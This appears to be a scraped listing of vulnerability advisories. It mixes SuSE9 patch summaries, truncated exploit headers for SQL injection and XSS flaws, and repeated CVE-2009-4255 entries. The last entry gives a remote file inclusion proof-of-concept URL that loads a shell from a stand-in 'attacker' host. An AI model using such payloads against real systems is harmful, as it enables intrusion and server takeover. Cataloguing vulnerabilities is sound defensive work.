SuSE9 Security Update : Perl (YOU Patch Number 12628)

perl Safe.pm module was affected by two problems where attackers could break out of such a safed execution CVE-2010-1447, CVE-2010-1168. This update fixes this problem. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc...

Tycoon CMS Record Script 1.0.9 - SQL Injection

Tycoon CMS Record Script 1.0.9 - SQL Injection % TycoonCMS Record Script Sql vulnerability ------------------------------------------------------------------------------- 0 | | | | | | TM 1 | | | | | | 0 | / | ' \ / | ' \ / |/ | |/ / \ '| ' \ / \ | 1 / / | | | | / | | | | | | | / | | | | | / | 0...

SuSE9 Security Update : XFree86 (YOU Patch Number 12612)

X clients could cause a memory corruption in the X Render extension which crashes the X server CVE-2010-1166. This has been fixed. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if...

PHP-Fusion 4.01 - SQL Injection

Exploit Title: PHP-Fusion v4.01 SQL INJECTION Vulnerabilities Date: 17/05/2010 Author: Ma3sTr0-Dz Software Link: http://www.php-fusion.co.uk Version: 4.01 CVE : N/A Code : exploit code =======================================================PHP-Fusion v4.01 SQL INJECTION...

PHP Gamepage - SQL Injection

, | ,---. , . |---. ,---. ,---. ,---. ,---. ,---. , . , | --- | | | | | |---' | | | |---' | | | | ---' ---| ---' ---' ---' ---' ------ ---' V PHP Gamepage SQL Injection Vulnerability --== Author ==-- + Author : v4lc0m87 + Contact : valcom87atgmaildotcom + Group : INDONESIAN CYBER + Site :...

SuSE9 Security Update : libpng (YOU Patch Number 12599)

Denial of service while decompressing a highly compressed huge ancillary chunk has been fixed in libpng. CVE-2010-0205 has been assigned. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc...

SuSE9 Security Update : squid (YOU Patch Number 12597)

The following vulnerabilities have been fixed in squid : - DoS via special crafted auth header. CVE-2009-2855 - DoS via invalid DoS header. CVE-2010-0308 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc';...

WordPress Copperleaf Photolog SQL Injection

WordPress Copperleaf Photolog SQL injection Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : 15 February, 2009 Software Information + Vendor : http://www.copperleaf.org/ + Download : http://www.copperleaf.org/wp-content/code/cpl0.16.zip + version : 0.16 / lower...

SuSE9 Security Update : pango (YOU Patch Number 12575)

A long glyph string can trigger a heap-based buffer overflow in pango. CVE-2009-1194 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid44591; scriptversion"1.10";...

SuSE9 Security Update : gzip (YOU Patch Number 12573)

The following bug has been fixed : - Specially crafted gzip archives could trigger integer overflows. Attackers could exploit that to crash gzip or potentially execute arbitrary code. CVE-2010-0001 Only 64bit architectures are affected by this flaw. %NASLMINLEVEL 70300 C Tenable Network Security,...

SearchFit PowerSearch Cross Site Scripting

SearchFit PowerSearch - cross site scripting XSS Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : 3 januari, 2010 Software Information + Vendor : http://www.searchfit.us.com/ + Download : - + version : Unknown + Vulnerability : XSS + Dork : syalalala + LOCATION...

Green Desktiny Customer Support Helpdesk 2.3.1 - SQL Injection

Green Desktiny - Customer Support Helpdesk SQL injection vulnerability - id Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : Desember 25, 2009 Software Information + Vendor : http://www.greendesktiny.com/ + Download : - + version : 2.3.1 or lower maybe also...

SuSE9 Security Update : kdelibs3 (YOU Patch Number 12563)

A faulty implementation of the dtoa function can lead to a remotely exploitable array overrun in kdelibs3. This issue has been tracked as CVE-2009-0689. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc';...

CVE-2009-4255

Cross-site scripting XSS vulnerability in the You!Hostit! template 1.0.1 for Joomla! allows remote attackers to inject arbitrary web script or HTML via the createdbyalias parameter in index.php...

Cross site scripting

Cross-site scripting XSS vulnerability in the You!Hostit! template 1.0.1 for Joomla! allows remote attackers to inject arbitrary web script or HTML via the createdbyalias parameter in index.php...

CVE-2009-4255

Cross-site scripting XSS vulnerability in the You!Hostit! template 1.0.1 for Joomla! allows remote attackers to inject arbitrary web script or HTML via the createdbyalias parameter in index.php...

CVE-2009-4255

The CVE-2009-4255 entry documents a Cross-site scripting (XSS) vulnerability in the You!Hostit! Joomla! template 1.0.1. The flaw arises in the created_by_alias parameter in index.php, allowing remote attackers to inject arbitrary web script or HTML. Impact and specifics are limited to the describ...

Joomla! Component You!Hostit! 1.0.1 Template - Cross-Site Scripting

source: https://www.securityfocus.com/bid/37260/info The Joomla! You!Hostit! template is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an...

Joomla! Component You!Hostit! 1.0.1 Template - Cross-Site Scripting

Joomla! Component You!Hostit! 1.0.1 Template - Cross-Site Scripting source: https://www.securityfocus.com/bid/37260/info The Joomla! You!Hostit! template is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may levera...

outreach project tool 1.2.6 - Remote File Inclusion

outreach project tool 1.2.6 - Remote File Inclusion Discovered by cr4wl3r \ Indonesian Hacker OPT Outreach Project Tool PoC : http://server/path/forums/ForumInclude/index.php?CRMpath=http://attacker/shell.txt??? Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang...